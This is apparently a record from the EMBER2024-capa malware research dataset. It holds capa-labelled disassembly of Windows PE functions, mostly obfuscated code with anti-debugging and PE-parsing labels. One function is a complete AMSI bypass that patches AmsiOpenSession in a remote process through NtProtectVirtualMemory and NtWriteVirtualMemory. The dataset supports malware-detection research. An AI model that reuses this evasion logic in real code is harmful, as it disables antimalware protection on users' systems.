joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1801e09a1
Capabilities:
Parse pe header

Disassembly:
sub r8d, ebp
shl di, 0xe4
and rdi, qword [rsp + r11 - 0x3ffffff8]
cqo
mov qword [rsp + r11 - 0x3ffffff8], r9
call fcn.1801d5313
mov r8d, 0xe927839a
movsx eax, r8w
sub r10, 4
lea r8, [r8*4 + 0x3a998482]
movsx ebp, ax
mov edi, ebp
mov ecx, dword [r10 + riz]
xor ecx, r9d
bt bp, 0x9c
movzx edx, di
dec ecx
not bpl
shr ax, 0x85
jnp 0x1801e5b5d
lea r8, [rcx*8 + 0x6c063b31]
mov eax, dword [rbx + riz + 4]
jns 0x1802241e1
xor cl, byte [rbx + rcx*2]
shr r11d, cl
jmp 0x180228151
ror ecx, 2
xor ecx, 0xc7332a8b
ror ecx, 3
push r9
lea r11, [rdi*4 - 0x28df7fd2]
movsx r9d, al
ror r8w, 0xe8
xor dword [rsp + rdx*4 - 0x20e68], ecx
or r9w, 0x59ac
bswap rbp
not r9w
pop r9
movsxd rcx, ecx
not r8
adc rsi, rcx
bts r11, rax
mov ecx, 0x541a399a
push r11
lea r10, [rdx + r10 - 0x839b]
or r8, rdx
shl word [rsp + rcx - 0x541a3997], 0xed
jp 0x18024c50a
or rax, rdx
dec rcx
xor r11d, 0xe0171014
neg r11d
inc dx
jo 0x18023b6eb
mov r8d, edi
lea r11d, [rax + r11 + 0x2fcf3ec9]
ror r11d, 1
or dx, word [rsp + rax + 0x50602803]
bswap r11d
lea r11d, [r11 + r8*4 - 0x159e0861]
mov qword [rsp + rdi*4 - 0x34eb0], r9
bts ax, 0x37
xor dword [rsp + rdi - 0xd3a6], r11d
mul r8
mov r9, qword [rsp + rdx - 0xd3a5]
btr ax, r8w
and r8w, cx
sbb rdi, rax
movsxd r11, r11d
btr r8, rcx
sar dil, 0xe7
add rsi, r11
not bp
lea rax, [rbx + rdx*2 - 0x1a75c]
mov qword [rsp + rdx*2 - 0x1a752], rbp
shr cl, 0x23
mov qword [rbx + rdx - 0xd3b7], rax
rol r8b, 0x87
pop r8
lea r11, [rdx + rcx + 0xb289d33]
lea rbx, [rbx + rdx*2 - 0x1a764]
pop rdx
ja fcn.1801fbe3e
movzx ebp, cl
bts ecx, ecx
mov cl, byte [rbx + rbp - 0x34]
lea rbx, [rbx + rbp*4 - 0xea]
movzx r11d, r8w
xadd r8w, bp
shrd edi, eax, cl
movzx eax, r11b
mov dword [rbp + rbx - 0x5d11], edi
call fcn.1801ecc5e
mov dword [rbx + riz - 2], r11d
push rdx
mov edx, dword [r10 + riz - 5]
xor edx, r9d
jmp 0x180248951
bswap edx
movzx edi, bp
pop rax
lea edx, [rdx + rdi*2 + 0x622f4b16]
movsx ecx, bp
sal cx, 0xc2
xor edx, 0x1d851108
rol edx, 3
not ebp
movsx r11d, bpl
xor edx, 0x4db1edb0
push rcx
imul r11, rdi
mov qword [rsp + rbp - 0x56fd686f], r9
pop r9
xor dword [rsp + rbp - 0x56fd6877], edx
mov r9, qword [rsp + rdi - 0x9778]
mov dword [rbx + rdi*2 - 0x12f06], edx
mov qword [rsp + rbp - 0x56fd6877], r11
push r11
bt rdi, rbp
lea rbx, [rbx + rbp - 0x56fd6885]
or eax, eax
mov eax, dword [r10 + rbp - 0x56fd6888]
lea r10, [rdi + r10 - 0x9789]
adc word [rsp + rbp - 0x56fd6872], 0x5f99
cmovno r11d, dword [rsp + rbp - 0x56fd686c]
mov r8d, dword [rsp + rbp - 0x56fd686e]
xor eax, r9d
dec eax
pop r11
call fcn.180225ab7
movzx ebp, byte [r10 + rdx*2 - 0x10734]
bswap rcx
xor bpl, r9b
cwde
sub bpl, r8b
xadd qword [rsp + rax*4 - 0x1070], rax
xor bpl, r8b
sar rcx, 0xf9
adc bpl, 0x9f
mul word [rsp + rdx - 0x8398]
neg bpl
add byte [rsp + rdx - 0xb], ch
xor r9b, bpl
push rdx
sub dx, r11w
lea rbx, [rbx + rdx*2 - 0xe2f6]
mov word [rbx + rdx*4 - 0x1c5e8], bp
lea rbp, [r8 + rax*2 - 0x3ec7ad1]
pop r8
pop rax
jg fcn.1801fbe3e

Function at 0x1801f4a5e
Capabilities:
Execute anti-debugging instructions

Disassembly:
push 0xffffffff9e28bfb4
jmp 0x18023f629
Function at 0x1801fde09
Capabilities:
Parse pe header

Disassembly:
xor al, r9b
xadd dx, bp
call fcn.1801e2ea8
ror di, 1
imul edx, dword [rsp + rdx - 0x4f1dee34]
shl word [rsp + rdx*4], cl
not qword [rsp + rdx]
dec di
lea r11, [rcx + rbp - 0x4146b3f4]
lea rbp, [rcx*4 + 0x4cb47204]
xchg qword [rsp + rdx], r11
xor di, 0xe0bf
ror di, 1
add di, 0x1288
inc byte [rsp + rdx]
not byte [rsp + rdx*4 + 4]
mov dword [rsp + rdx], ecx
xor r9w, di
lea rdi, [rsp + rdi + 8]
and rbp, qword [rsp + rdx*2]
xchg qword [rsp + rdx], rdx
jne 0x1801f1440
jns 0x1801dfcfd
add cx, dx
or dx, 0x6e10
sbb di, 0x7c99
movzx ebp, dl
shl cl, 0x63
not di
cmove rbp, rcx
push rdx
dec di
neg di
bt dx, 0x28
shr qword [rsp + rdx - 0x4f1dee34], cl
jbe 0x1801e0263

Function at 0x180204de2
Capabilities:
Encode data using base64
Execute anti-debugging instructions
Parse pe header

Disassembly:
xor edx, 0xe59eb3b9
not edx
mov qword [rsp + r8 - 0x12], r9
xor dword [rsp + r8 - 0x12], edx
push rcx
xadd r8, rcx
mov r11d, r8d
mov r9, qword [rsp + rcx*4 - 0x40]
movzx ebp, r8b
add r8b, r11b
movsxd rdx, edx
adc rsi, rdx
jmp 0x180224cd4
jmp 0x180238cbb
sal di, 0xac
ror ax, 1
pop rdx
lea rdx, [r8*2 + 0x3a020b0b]
dec ax
or bp, 0x4d9c
imul r8d, r8d
dec r11d
xor r9w, ax
sal bpl, 0xe2
lea rdx, [r8 + rdi*2 - 0x7b6ce4cd]
btr r8, rbp
adc rax, rsp
neg r8
call fcn.180246ead
rol qword [rsp + 0xe], 0x32
shr dword [rsp + 6], 0xd2
xor ecx, ecx
neg byte [rsp + 0xd]
neg byte [rsp + 0x12]
push 0x198c2d85
test rbp, rbp
jmp 0x18024fd39
mov ebp, 0xefa45097
not ecx
mov dword [rbx + riz], ecx
mov edx, ebp
jmp rsi
lea rsp, [rsp + 0x20]
je 0x1802190d8
lea rdi, [0x180248b50]
mov eax, 0x558cb70b
dec eax
movzx eax, byte [rdx + rax - 0x558cb70a]
xor eax, ecx
call fcn.18023d628
mov ecx, 0xa41d4f12
sub r10, 4
mov edx, dword [r10 + riz]
xor edx, r9d
push rcx
rol edx, 3
shr qword [rsp], 0x9d
sal qword [rsp], 0x5e
movzx r8d, cl
bswap edx
ror edx, 2
not byte [rsp + r8*8 - 0x89]
shr dword [rsp + r8 - 0x10], 0x45
jae 0x1801f3e33
jmp 0x1801f8526
Function at 0x180221e3e
Capabilities:
Encode data using base64
Parse pe header

Disassembly:
dec byte [rsp + rbp + 3]
xor r9b, dl
lea rdx, [rsp + rdx + 0x18]
call fcn.1801de2ad
mov ecx, dword [r10 + rbp*4 - 0x5e000005]
pop rdi
xor ecx, r9d
mov edi, r11d
sub bp, r11w
rol ecx, 3
xor byte [rsp + rbp*2 - 0x2effffef], r11b
mul bp
bswap ecx
not word [rsp + rbp - 0x177ffff7]
not edi
ror ecx, 2
shl eax, 0xd6
lea r8, [rbp*8 - 0x775c11eb]
xor ecx, 0xe59eb3b9
xor r11d, ebp
not ecx
rol r8b, 4
sal rdx, 0xf
mul rdi
mov qword [rsp + rbp*2 - 0x2efffff0], r9
add dword [rsp + rbp*2 - 0x2efffff7], 0x8b2e770c
dec ebp
or edi, dword [rsp + rbp*2 - 0x2efffffb]
xor dword [rsp + rbp - 0x177fffef], ecx
mov r9d, dword [rsp + rbp - 0x177ffff6]
div r8d
mov r9, qword [rsp + rdx*2 + 0x10]
sar edx, 0x8c
movsxd rcx, ecx
adc rsi, rcx
btc di, bp
xchg qword [rsp + rbp - 0x177ffff7], rdx
sar rbp, 0x3a
movzx edx, byte [r10 + rbp*8 - 6]
movsx ecx, byte [rsp + rbp + 3]
not dword [rsp + rbp*4 + 9]
sal edi, cl
lea r10, [r10 + rbp - 6]
not r11d
mov qword [rsp + rbp + 0x10], 0xfffffffff220812a
xor dl, r9b
add dl, r11b
or r11d, ebp
add word [rsp + rax + 0x15], 0xfd3b
inc rcx
xor dl, r11b
inc dword [rsp + rbp + 3]
add dl, 7
neg dl
dec cx
add dl, r11b
add ax, word [rsp + rbp*2 + 5]
ror dword [rsp + rbp*2 + 6], cl
lea rdi, [r8*4 - 0x37ea96c4]
neg dl
mov word [rsp + rbp + 0xb], r8w
add dl, r11b
add qword [rsp + rbp + 6], r11
jne 0x1801eb09f
mov edx, 0x2f331a90
shl dx, 7
mov cx, word [rbx + rdx - 0x2f334800]
lea r11, [rdx*4 - 0x68dbc9f3]
movzx r8d, r11w
dec dl
lea rbx, [rbx + rdx - 0x2f3348fd]
lea r10, [rdx + r10 - 0x2f334901]
movzx eax, word [r10 + rdx*2 - 0x5e6691fe]
movsx ebp, r11b
xor ax, r9w
dec r11d
add ax, 0xa4a9
mov edi, 0xe20428a2
inc r11w
sub r8, 0x12096132
not ax
inc r11d
jp 0x18022511d
and rdi, 0x43b266a5
inc ax
sub edi, edi
call fcn.180204de2
jp 0x1801ee715
Function at 0x18022c367
Capabilities:
Parse pe header

Disassembly:
mov dword [rbx + riz], edx
lea rdx, [r8*4 + 0x2e84ae12]
mov ebp, 0x6aa2b1a8
lea r10, [r10 + rbp - 0x6aa2b1ac]
mov r11d, dword [r10 + rbp - 0x6aa2b1a8]
xadd rbp, r8
mov edi, r8d
neg rdi
xor r11d, r9d
sar r8d, 0x7c
lea rcx, [rbp*4 + 0x4301a84]
xor dx, 0x1200
ror r11d, 1
bts r8, rbp
xor r11d, 0x68565b6
not r11d
movzx eax, cl
xadd cx, ax
neg r11d
lea rcx, [rdi + r8*8 - 0xac947e8]
push r9
movzx r9d, dil
imul dil
xor dword [rsp + rdi + 0x6aa2b1a8], r11d
pop r9
and rcx, rdx
jge 0x180245196
dec cl
div r8d
btr r8d, 0x27
xor r9b, cl
btc rax, r8
adc rcx, rsp
lea r11, [rdi*8 + 0x5925bb0c]
mov rbp, qword [rcx + rdx*2 - 0xba0]
mov ecx, r8d
mov qword [rbx + rdx*2 - 0xba8], rbp
rol al, 0x47
mov rax, qword [r10 + rdx - 0x5d9]
setb dil
setb cl
lea rcx, [rdx*8 - 0x2bc80ec4]
xor rax, r9
neg rax
call fcn.180231dd5
mov r11d, 0xe6076aa5
btr r11, r11
mov di, word [rbx + riz]
jae 0x1801f01fe
mov edi, 0x693ecf84
mov r8, qword [rbx + rdi - 0x693ecf84]
mov eax, dword [rbx + rdi - 0x693ecf7c]
lea rbx, [rbx + rdi - 0x693ecf78]
movsx ecx, dil
imul rcx, rdi
movzx edx, dil
mov dword ss:[rdi + r8 - 0x693ecf84], eax
lea r10, [r10 + rdx*2 - 0x10c]
jb 0x1801f6f6d
mov eax, ecx
mov eax, dword [rdi + r10 - 0x693ecf84]
movzx ebp, cl
shr rcx, cl
xor eax, r9d
lea eax, [rax + rdi*2 + 0xe38bdb4]
movzx r8d, dl
bswap eax
push rcx
ror rdi, 0xcb
bswap r8
adc eax, r8d
ror eax, 2
xadd cx, dx
ja 0x18024fc50
not bp
xor bp, 0xbfb9
inc word [rsp + rdi - 0x57be0ed6]
or dword [rsp + rax + 0xc], edx
pop r8
adc r8, 0x3cc20
jmp r8
cdq
rol bp, 1
xor word [rsp + rdi - 0x57be0ed5], 0x597
dec word [rsp + rdi - 0x57be0edd]
js 0x1802195aa
jmp 0x1801e59f3
sbb word [rsp + rdx*4 - 0x1646], 0x8e3f
mov qword [rsp + rdx*4 - 0x164c], r9
xor dword [rsp + rdx*2 - 0xb26], eax
xadd ebp, ecx
mov r11d, 0x53b19404

Function at 0x18022d271
Capabilities:
Parse pe header

Disassembly:
imul r11, qword [rsp + rcx*4 - 0x824f7f8]
mov qword [rsp + rdx - 0xff77], r9
push rcx
mov r9d, ecx
xor dword [rsp + rdx*2 - 0x1feee], eax
mov r9, qword [rsp + rdx - 0xff6f]
mov qword [rsp + rdx*2 - 0x1feee], r11
push rdx
inc dl
movsxd rax, eax
lea r8, [rbp - 0x6a76d26d]
add rsi, rax
imul cx, word [rsp + rdx*2 - 0x1fee3]
or rdx, qword [rsp + rdx*4 - 0x3fdfd]
pop rbp
pop rax
pop rax
pop rax
jge fcn.1801fbe3e

Function at 0x1802366cb
Capabilities:
Parse pe header

Disassembly:
not ecx
sal rbp, 0x79
sete r11b
sar al, 0xe5
ror ecx, 1
or r11w, word [rsp + 0x13]
jo 0x18024fb40
mov qword [rsp], rbp
sbb ecx, 0xa384a931
not ecx
neg r11
mov qword [rsp + 0x10], r9
xchg dword [rsp + 0xb], eax
xor dword [rsp + rax*2 - 0x13e], ecx
mov r9, qword [rsp + rax*4 - 0x28c]
jmp 0x1801ee8b5
Function at 0x180241b8e
Capabilities:
Parse pe header

Disassembly:
mov edi, 0x313bff12
lea rbx, [r8 + rbx - 0xb5]
mov word [r8 + rbx - 0xb3], dx
mov qword [rsp + r8 - 0xb3], 0xffffffff9e3a028b
lea rax, [rbp*2 + 0x4aa4289d]
lea r10, [r10 + r8*2 - 0x16a]
mov r8d, dword [r10 + r8*2 - 0x166]
xor r8d, r9d
sar byte [rsp + rdi - 0x313bff04], 0xc1
jns 0x18024f873
sbb r8d, 0x5797961b
bswap r8d
movsx edx, ax
shl al, 0x41
rol r8d, 1
or dword [rsp + rdi*2 - 0x6277fe20], 0xc3b87689
div qword [rsp + rdi - 0x313bff0a]
sub r8d, 0xb79907b6
mov qword [rsp + rdi - 0x313bff0a], r9
xor dword [rsp + rdi*2 - 0x6277fe1c], r8d
mov r9, qword [rsp + rdi - 0x313bff0a]
movsxd r8, r8d
imul di
mov qword [rsp + rdi*2 - 0x6277fe1c], 0xf25a312
add rsi, r8
shr qword [rsp + rdi - 0x313bff0a], 0xbd
imul bp
movsx r8d, bpl
pop rdx
pop rcx
jo fcn.1801fbe3e

Function at 0x180245b78
Capabilities:
Authenticate hmac
Encode data using base64
Encrypt data using chaskey
Parse pe header

Disassembly:
bswap edi
sub rdx, r8
rol edi, 2
mov qword [rsp + rax*2 - 0x18354], r9
xor dword [rsp + rax*2 - 0x18354], edi
btr ax, 4
cqo
setb al
pop r9
lea rdx, [rax*8 + 0x18ab1e8d]
movsxd rdi, edi
bts cx, bp
ror bpl, cl
adc rsi, rdi
bts ax, r11w
ror rax, cl
mov r8d, dword [rbx + rax*8 - 0x3140]
ror rdx, cl
lea rdi, [rcx + r11*2 + 0x570f8dbc]
lea rbx, [rbx + rax - 0x624]
sbb cl, ch
sar rcx, cl
xor rdi, 0x518e3313

Function at 0x18024a9cc
Capabilities:
Manually build aes constants

Disassembly:
movzx eax, byte [r10 + rbp*2 - 2]
adc dx, dx
js 0x1801ea4a0
mov cl, byte [rbx + rcx - 0x5132d0a7]
add rbx, 0xa
lea rax, [rdi + rbp*2 - 0x3d700a6c]
mov byte [r11 + riz], cl
sub r10, 4
mov r11d, dword [r10 + riz]
cwd
xadd al, bpl
lea rcx, [rbp + rdx*2 - 0x25282c7]
xor r11d, r9d
and dword [rsp + 2], 0x11a3d6ad
ror r11d, 1
neg qword [rsp]
dec r11d
sar word [rsp + 4], 0x2d
dec rbp
xor dl, byte [rsp + 7]
not r11d
neg r11d
mul dword [rsp + 2]
dec edi
rol r11d, 1
or rcx, rcx
sar bp, 0x4a
add word [rsp + rdx*2 - 0x112c249], cx
inc r11d
not r11d
jmp 0x1801d3e70
mov qword [rsp + rdx - 0xa5], rdx
shl qword [rsp + rdx - 0xa5], 0x28
sbb al, 0x83
xor al, 0xb7
inc rdx
pop rbp
add al, r11b
ror dx, 7
neg al
lea r8, [r11 + rbp*4 - 0x4ffc08fb]
sub al, 0x1d
shl ebp, 0xc6
rol al, 1
add al, dl
xor r9b, al
add rax, rsp
movsx ecx, r11w
lea rdx, [r8 + 0x761af137]
push r8
mov byte [rax + rbp], dil
sal r11d, cl
or dword [rsp + rbp*4 + 1], ebp
adc dword [rsp + rbp + 3], 0xa583f8ab
mov r11, qword [rbx + rbp*2 + 2]
push r8
jno 0x18023f9b9
Function at 0x14002d594
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rbx, rdx
lea r8, [rsp + 0x60]
mov edi, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
test eax, eax
jne 0x14002d5ce
xor r9d, r9d
mov dword [rsp + 0x60], r9d
jmp 0x14002d5d3
mov r9d, dword [rsp + 0x60]
and qword [rsp + 0x30], 0
mov r8d, edi
and dword [rsp + 0x28], 0
xor edx, edx
mov ecx, 0x1300
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x14002d61c
mov r8, qword [rbx]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, [0x140051ba0]
cmp byte [rcx + rax], 0
je 0x14002d61c
dec r8
sub rdx, 1
jne 0x14002d602
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret

Function at 0x14002e95c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14002e9a6
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14002e9a6
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14002e9a6
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14002e9a6
cmp dword [rcx + 0x84], 0xe
jbe 0x14002e9a6
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14002e9a8
xor al, al
add rsp, 0x28
ret
Function at 0x140001f20
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
sub rsp, 0x50
mov rax, qword [0x140037040]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov rcx, qword [rdx + 8]
call fcn.14000e64c
xor edx, edx
mov r8d, eax
lea ecx, [rdx + 0x28]
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
jne 0x140001f7e
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_in_OpenProcess___u__n
call fcn.140001160
lea eax, [rdi + 2]
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140004f20
add rsp, 0x50
pop rdi
ret
lea rcx, str.amsi.dll
mov qword [rsp + 0x60], rbx
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.AmsiOpenSession
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
mov byte [rsp + 0x38], 0x75
xor eax, eax
mov dword [rsp + 0x3c], 0
xor ecx, ecx
mov qword [rsp + 0x40], 0x1000
nop dword [rax]
cmp byte [rcx + rbx], 0x74
je 0x140001fdb
inc eax
inc rcx
cmp rcx, 0x400
jl 0x140001fc0
mov rax, qword [rsp + 0x30]
jmp 0x140001fe0
cdqe
add rax, rbx
mov qword [rsp + 0x30], rax
lea r8, [rsp + 0x40]
lea rax, [rsp + 0x3c]
mov r9d, 0x40
lea rdx, [rsp + 0x30]
mov qword [rsp + 0x20], rax
mov rcx, rdi
call qword [sym.imp.ntdll.dll_NtProtectVirtualMemory]
test eax, eax
jns 0x140002025
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Failed_in_NtProtectVirtualMemory1___u__n
call fcn.140001160
jmp 0x1400020cf
xor ecx, ecx
xor eax, eax
nop dword [rax]
cmp byte [rax + rbx], 0x74
je 0x14000204a
inc ecx
inc rax
cmp rax, 0x400
jl 0x140002030
mov rdx, qword [rsp + 0x30]
jmp 0x140002050
movsxd rdx, ecx
add rdx, rbx
mov r9d, 1
mov qword [rsp + 0x20], 0
lea r8, [rsp + 0x38]
mov rcx, rdi
call qword [sym.imp.ntdll.dll_NtWriteVirtualMemory]
test eax, eax
jns 0x140002087
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Failed_in_NtWriteVirtualMemory___u__n
call fcn.140001160
jmp 0x1400020cf
mov r9d, dword [rsp + 0x3c]
lea rax, [rsp + 0x3c]
lea r8, [rsp + 0x40]
mov qword [rsp + 0x20], rax
lea rdx, [rsp + 0x30]
mov rcx, rdi
call qword [sym.imp.ntdll.dll_NtProtectVirtualMemory]
test eax, eax
jns 0x1400020c3
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Failed_in_NtProtectVirtualMemory2___u__n
call fcn.140001160
jmp 0x1400020cf
lea rcx, str._n___AMSI_patched____n_n
call fcn.140001160
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rsp + 0x60]
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140004f20
add rsp, 0x50
pop rdi
ret
Function at 0x140003efc
Capabilities:
Read file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
mov rbp, r8
mov r14, rdx
mov rdi, rcx
test r8, r8
jg 0x140003f2a
xor eax, eax
jmp 0x140004010
cmp qword [rcx + 0x68], 0
je 0x140003f3b
call fcn.14000402c
jmp 0x140004010
mov rax, qword [rcx + 0x38]
mov rsi, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x140003f52
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x140003f54
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x140003f86
cmp rax, rbp
mov rbx, rbp
mov rcx, r14
cmovb rbx, rax
mov r8, rbx
call fcn.140024f60
mov rax, qword [rdi + 0x50]
add r14, rbx
sub rsi, rbx
sub dword [rax], ebx
mov rcx, qword [rdi + 0x38]
movsxd rax, ebx
add qword [rcx], rax
cmp qword [rdi + 0x80], 0
je 0x14000400a
mov r8, qword [rdi + 0x18]
lea rax, [rdi + 0x70]
cmp qword [r8], rax
jne 0x140003fbd
mov rcx, qword [rdi + 0x88]
mov rdx, qword [rdi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rdi + 0x38]
mov qword [rax], rcx
mov rax, qword [rdi + 0x50]
mov dword [rax], edx
mov ebx, 0xfff
jmp 0x140003fe6
mov r9, qword [rdi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call fcn.14000f7c4
add r14, rax
sub rsi, rax
cmp rax, rbx
jne 0x14000400a
cmp rsi, rbx
ja 0x140003fc4
test rsi, rsi
je 0x14000400a
mov r9, qword [rdi + 0x80]
mov r8, rsi
mov edx, 1
mov rcx, r14
call fcn.14000f7c4
sub rsi, rax
sub rbp, rsi
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret

Function at 0x140005c8c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140005cd6
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140005cd6
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140005cd6
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140005cd6
cmp dword [rcx + 0x84], 0xe
jbe 0x140005cd6
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140005cd8
xor al, al
add rsp, 0x28
ret

Function at 0x140012a58
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140012854
Function at 0x14001897c
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x1050
call fcn.140005570
sub rsp, rax
mov rax, qword [0x140037040]
xor rax, rsp
mov qword [rsp + 0x1040], rax
mov r15, r8
mov rbp, rdx
mov rbx, rcx
call fcn.140016ba4
xor edi, edi
movsxd r14, eax
cmp dword [rbx + 0x10], edi
jne 0x1400189cb
mov rax, rbp
jmp 0x140018ad3
mov rax, qword [rbx]
mov rcx, r14
sub rax, qword [rbx + 8]
and ecx, 0x3f
cqo
mov rbx, r14
sub rax, rdx
sar rbx, 6
sar rax, 1
mov r9, r15
lea r12, [rcx + rcx*8]
mov rsi, rax
lea rax, [0x140000000]
xor r8d, r8d
mov rdx, qword [rax + rbx*8 + 0x393e0]
mov ecx, r14d
mov rdx, qword [rdx + r12*8 + 0x30]
call fcn.140019a9c
mov r13, rax
lea rax, [0x140000000]
mov rcx, qword [rax + rbx*8 + 0x393e0]
cmp r13, qword [rcx + r12*8 + 0x30]
jne 0x140018acf
mov rcx, qword [rcx + r12*8 + 0x28]
lea r9, [rsp + 0x30]
mov r8d, 0x1000
mov qword [rsp + 0x20], rdi
lea rdx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140018acf
mov r9, r15
xor r8d, r8d
mov rdx, rbp
mov ecx, r14d
call fcn.140019a9c
test rax, rax
js 0x140018acf
mov eax, dword [rsp + 0x30]
cmp rsi, rax
jg 0x140018acf
lea rdx, [rsp + 0x40]
add rdx, rax
lea rcx, [rsp + 0x40]
test rsi, rsi
je 0x140018ac1
lea r8, [0x140000000]
cmp rcx, rdx
jae 0x140018ac1
cmp byte [rcx], 0xd
jne 0x140018aa7
lea rax, [rdx - 1]
cmp rcx, rax
jae 0x140018ab6
cmp byte [rcx + 1], 0xa
jne 0x140018ab6
inc rcx
jmp 0x140018ab6
movzx eax, byte [rcx]
movsx rax, byte [rax + r8 + 0x37460]
add rcx, rax
inc rdi
inc rcx
cmp rdi, rsi
jne 0x140018a89
lea rax, [rsp + 0x40]
sub rcx, rax
lea rax, [rcx + r13]
jmp 0x140018ad3
or rax, 0xffffffffffffffff
mov rcx, qword [rsp + 0x1040]
xor rcx, rsp
call fcn.140004f20
mov rbx, qword [rsp + 0x1090]
add rsp, 0x1050
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret

Function at 0x140018cf4
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x140018d0a
mov al, 1
jmp 0x140018d6a
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x140018d1b
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x140018d68
mov ecx, dword [rcx + 0x18]
nop
call fcn.14001d858
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140018d68
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x140018d68
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x140018d68
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x140018d6a
xor al, al
add rsp, 0x20
pop rbx
ret
Function at 0x140018e3c
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
movsxd r15, ecx
lea r9, [0x1400393e0]
mov rax, r15
mov rbp, r15
and eax, 0x3f
sar rbp, 6
mov ecx, 4
xor esi, esi
mov r14, rdx
lea rdi, [rax + rax*8]
mov rax, qword [r9 + rbp*8]
lea r13d, [rcx + 6]
mov r10, qword [rax + rdi*8 + 0x28]
test r8, r8
je 0x140018e93
cmp word [rdx], r13w
jne 0x140018e93
or byte [rax + rdi*8 + 0x38], cl
jmp 0x140018e98
and byte [rax + rdi*8 + 0x38], 0xfb
lea r8, [rdx + r8*2]
mov rbx, r14
cmp r14, r8
jae 0x140018fbd
mov r11d, 0xd
lea r12d, [r11 - 0xb]
movzx ecx, word [rdx]
cmp cx, 0x1a
je 0x140018fde
lea r9, [rdx + 2]
cmp cx, r11w
je 0x140018ed1
mov rdx, r9
mov word [rbx], cx
jmp 0x140018ef8
cmp r9, r8
jae 0x140018f08
cmp word [r9], r13w
mov rax, r12
mov ecx, 4
cmove rax, rcx
add rdx, rax
mov eax, r13d
cmp word [r9], r13w
cmovne ax, r11w
mov word [rbx], ax
mov rax, r12
add rbx, rax
cmp rdx, r8
jb 0x140018eb2
jmp 0x140018fbd
lea r9, [rsp + 0x80]
mov qword [rsp + 0x20], rsi
mov r8d, r12d
lea rdx, [rsp + 0x70]
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140018fb2
cmp dword [rsp + 0x80], esi
je 0x140018fb2
lea r8, [0x1400393e0]
mov rax, qword [r8 + rbp*8]
test byte [rax + rdi*8 + 0x38], 0x48
je 0x140018f8a
movzx eax, word [rsp + 0x70]
cmp ax, r13w
jne 0x140018f5a
mov word [rbx], r13w
jmp 0x140018fba
mov ecx, 0xd
mov word [rsp + 0x78], ax
mov word [rbx], cx
mov rax, qword [r8 + rbp*8]
lea rcx, [rax + rdi*8]
mov al, byte [rsp + rsi + 0x78]
